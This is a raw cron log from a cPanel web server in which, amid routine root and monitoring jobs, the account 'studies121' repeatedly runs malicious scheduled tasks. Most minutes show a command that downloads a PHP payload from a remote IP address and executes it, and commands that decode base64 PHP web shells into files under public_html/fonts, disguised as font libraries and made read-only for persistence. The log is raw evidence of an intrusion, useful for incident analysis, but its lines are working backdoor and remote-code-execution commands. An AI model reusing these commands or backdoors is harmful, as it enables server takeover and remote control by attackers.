Feb 22 08:02:01 ip-184-168-122-23 CROND[12449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:02:01 ip-184-168-122-23 CROND[12452]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:02:01 ip-184-168-122-23 CROND[12451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:02:01 ip-184-168-122-23 CROND[12453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:02:01 ip-184-168-122-23 CROND[12454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:03:01 ip-184-168-122-23 CROND[12859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:03:01 ip-184-168-122-23 CROND[12860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:03:01 ip-184-168-122-23 CROND[12863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:03:01 ip-184-168-122-23 CROND[12865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:04:01 ip-184-168-122-23 CROND[13169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:04:01 ip-184-168-122-23 CROND[13170]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:04:01 ip-184-168-122-23 CROND[13173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:04:01 ip-184-168-122-23 CROND[13174]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:04:01 ip-184-168-122-23 CROND[13175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:05:02 ip-184-168-122-23 CROND[13496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:05:02 ip-184-168-122-23 CROND[13497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:05:02 ip-184-168-122-23 CROND[13501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:05:02 ip-184-168-122-23 CROND[13504]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 08:05:02 ip-184-168-122-23 CROND[13500]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 08:05:02 ip-184-168-122-23 CROND[13502]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 08:05:02 ip-184-168-122-23 CROND[13503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:06:02 ip-184-168-122-23 CROND[13842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:06:02 ip-184-168-122-23 CROND[13844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:06:02 ip-184-168-122-23 CROND[13845]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:06:02 ip-184-168-122-23 CROND[13846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:06:02 ip-184-168-122-23 CROND[13847]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:07:01 ip-184-168-122-23 CROND[14172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:07:01 ip-184-168-122-23 CROND[14173]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:07:01 ip-184-168-122-23 CROND[14175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:07:01 ip-184-168-122-23 CROND[14178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:08:01 ip-184-168-122-23 CROND[14503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:08:01 ip-184-168-122-23 CROND[14505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:08:01 ip-184-168-122-23 CROND[14508]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:08:01 ip-184-168-122-23 CROND[14507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:08:01 ip-184-168-122-23 CROND[14506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:09:01 ip-184-168-122-23 CROND[14906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:09:01 ip-184-168-122-23 CROND[14905]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:09:01 ip-184-168-122-23 CROND[14909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:09:01 ip-184-168-122-23 CROND[14907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:09:01 ip-184-168-122-23 CROND[14908]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 08:10:02 ip-184-168-122-23 CROND[15254]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:10:02 ip-184-168-122-23 CROND[15258]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 08:10:02 ip-184-168-122-23 CROND[15260]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 08:10:02 ip-184-168-122-23 CROND[15261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:10:02 ip-184-168-122-23 CROND[15262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:10:02 ip-184-168-122-23 CROND[15263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:10:02 ip-184-168-122-23 CROND[15264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 08:10:02 ip-184-168-122-23 CROND[15265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:11:01 ip-184-168-122-23 CROND[15587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:11:01 ip-184-168-122-23 CROND[15588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:11:01 ip-184-168-122-23 CROND[15590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:11:01 ip-184-168-122-23 CROND[15589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:12:01 ip-184-168-122-23 CROND[15907]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:12:01 ip-184-168-122-23 CROND[15908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:12:01 ip-184-168-122-23 CROND[15910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:12:01 ip-184-168-122-23 CROND[15909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:12:01 ip-184-168-122-23 CROND[15912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:13:01 ip-184-168-122-23 CROND[16245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:13:01 ip-184-168-122-23 CROND[16247]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:13:01 ip-184-168-122-23 CROND[16249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:13:01 ip-184-168-122-23 CROND[16250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:14:01 ip-184-168-122-23 CROND[16583]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:14:01 ip-184-168-122-23 CROND[16584]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
